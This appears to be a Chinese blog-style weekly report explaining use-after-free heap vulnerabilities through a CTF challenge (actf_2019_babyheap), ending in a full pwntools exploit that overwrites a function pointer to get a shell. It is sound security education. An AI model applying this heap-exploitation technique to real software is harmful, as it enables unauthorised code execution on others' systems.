首页 > 其他分享 >周报

周报

时间:2024-12-15 20:55:39浏览次数:5  
标签:堆块 content 周报 内存 sendlineafter 指针 UAF

这周事情很多,学的东西很少(其实就是懒)师傅们别拷打我QAQ。

UAF漏洞

漏洞简介

UAF —— Use After Free:其内容如同其名称,free后进行再利用。UAF是堆结构漏洞的一种重要的利用方式。
在程序中,UAF常有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
    而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Dangling Pointer(悬挂指针、悬空指针、迷途指针)是计算机编程中的一个常见且危险的问题,它指的是一个指针仍然保留着之前指向的内存地址,但是这片内存区域可能已经被释放或者不再有效,从而可能导致程序在使用该指针时出现未定义行为。

下面我将通过一道简单的例题展示一下UAF的攻击。

例题分析

题目来源:actf_2019_babyheap(UAF)

拿到题先检查保护信息,然后运行一下。
image
image
这是一道菜单题,没有开启PIE。
然后用ida反编译一下,定位到 main函数。
image
经过我们的逆向之后,代码是这个样子的。
main函数:
image
menu函数:
image
可以看到该函数调用了system函数,我们再检索一下字符串,发现了/bin/sh
image
由于这道题没有开启PIE,所以system函数的地址和/bin/sh的地址我们就取得了,后续可能会有用。
creat:
image
creat函数先是malloc了一个0x10大小的堆块,然后把用户malloc的堆块的地址和print_context的地址存入该堆块。
print_content:
image
delete:
image
可见delete函数中再free掉堆块之后并没有将指针设置为NULL,说明程序中可能存在UAF漏洞。
show:
image
可以看到,show函数是通过调用函数指针来输出数据的,而这个函数的地址储存在ptr[index][2]处,参数储存在ptr[index][1]处
那么思路就十分明确了。我们可以先创造2个任意大小的堆块(远离0x10即可),然后free掉他们。然后再创建一个0x10(或者0x18)大小的堆块,通过修堆块的内容为binsh_addrsystem_addr然后再执行show(0)就可以了。说的可能有点晦涩难懂,以下是具体解释。
在我们申请两个堆块之后,大致情况如下。
image
然后我们再把这两个堆块free掉,再次申请0x10(0x18)大小的堆块。
此时由于堆管理机制,我们申请得到的struct3就是原来的struct2,content的堆块就是原来的struct1(后入先出),这样我们就可以把原来的content地址改为binsh的地址,print_content的地址改为system的地址,然后再show(0)就能够getshell(struct1的index为0)。
那么具体的exp如下:

from pwn import *

def create(size, content):
    p.sendlineafter('Your choice:', '1')
    p.sendlineafter('Please input size:', str(size))
    p.sendafter('Please input content: ', content)

def delete(idx):
    p.sendlineafter('Your choice:', '2')
    p.sendlineafter('Please input list index:', str(idx))

def show(idx):
    p.sendlineafter('Your choice:', '3')
    p.sendlineafter('Please input list index:', str(idx))

if __name__ == '__main__':
    context(log_level='debug' , os = 'linux', arch = 'amd64')
    pwnfile = './uaf'
    p = process(pwnfile)
    elf = ELF(pwnfile)
	
    sys_addr = 0x4007A0
    binsh_addr = 0x602010
	
    create(0x100, 'a'*0x100)
    create(0x100, 'b'*0x100)
    delete(0)
    delete(1)
    create(0x10, p64(binsh_addr) + p64(sys_addr))
    show(0)
    p.interactive()

2024-12-15 20:44:51 星期日

标签:堆块,content,周报,内存,sendlineafter,指针,UAF
From: https://www.cnblogs.com/fallsnow/p/18608629

相关文章

  • 《安富莱嵌入式周报》第347期:分立元件自制14bit分辨率DAC,开源电池测试仪,大量位操作技
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 视频版https://www.bilibili.com/video/BV1SFq9YAE4j/目录:1、分立元件自制14bit分辨率DAC2、开源电池测试仪3、微软为VSCode制作的AIToolkit插件4、Zephyr相关(1)好消......
  • 作为管理者,要你设计一个日报(周报)的excel模板,你是如何?有什么原则?要查看哪些信息呢?
    作为一个管理者,为前端开发团队设计日报(周报)Excel模板,我的目标是简洁、高效地追踪项目进度、识别潜在问题并促进团队沟通。以下是我设计的模板以及背后的原则:原则:简洁明了:避免冗余信息,只收集必要的进度数据。易于填写:模板结构清晰,填写方便快捷,减少团队负担。数据驱动:......
  • 周报
    高级ROP之SROP一、知识储备1.signal机制这里基础知识就搬运ctfwiki上的了。signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。一般来说,信号机制常见的步骤如下......
  • deepin 技术双周报丨Treeland支持截图录屏功能、适配 wlroots 0.18 版本,6.12 内核完成
    第六期deepin技术双周报已出炉,我们会简单列出deepin各个小组在过去两周的相关工作进展,也会阐述未来两周的大致规划,一起来看!DDE针对deepin23的缺陷修复与deepin25的需求开发在同步稳步进行。具体进展与计划如下:进展:a.  对剪切板、DDE会话组件、DDEPolkit组件......
  • 《安富莱嵌入式周报》第346期:开源2GHz带宽,12bit分辨率,3.2Gsps采样率示波,开源固件安全
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 视频:https://www.bilibili.com/video/BV1TYBhYKECK/目录:1、开源2GHz带宽,12bit分辨率,3.2Gsps采样率示波器2、开源嵌入式固件安全分析器3、TI分享的8通道隔离±12.288V......
  • 《安富莱嵌入式周报》第344期:开源手表一年的误差不到1秒,开源32路IMU传感器矩阵,STM32L4
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 本周更新视频DSP视频教程第13期:汇编浮点库qfplib性能媲美TI的IQmath和硬件FPU,强于C库的math和ARMDSP库,适用于M0和M3(2024-10-12)https://www.armbbs.cn/forum.php?mod=view......
  • 使用EXCEL制作大厂数据周报
    一、成果二、具体制作流程1.搭建周报框架1.1填写标题,eg:20年8月第二周1.2表中的“日期”位置填写从20年8月第二周的第一天开始的具体日期,先写第一天的日期,然后在下一个输入=?+1,?为选中的第一天日期的单元格,然后从第二个开始向下拉,原因是:这样操作后,第一个日期改变后,剩......
  • AI周报(9.8-9.14)
    AI应用-NEKOHealth用AI颠覆体检NekoHealth由Spotify创始人丹尼尔·埃克和哈亚尔马尔·尼尔森共同创立,致力于通过每年的全身扫描和由AI驱动的洞察力来改善预防性医疗保健,能够检测诸如心脏病和皮肤癌等疾病。该公司通过使用人工智能软件支持的全身扫描服务,致力于提供预......
  • KubeSphere 社区双周报| 2024.08.30-09.12
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2024.08.30-09.12。贡献者名单近期重要更新KubeSphereK......
  • 数据分析之Excel周报开发
    周报一般包括:标题、小看板、结果指标、过程指标外卖平台周报这里以外卖平台周报为例,数据来自B站@戴戴戴师兄一、标题        1.标明数据时间二、小看板        1.设置单元格为筛选器:        (1)选中单元格        (2)在数据菜单栏中找到有......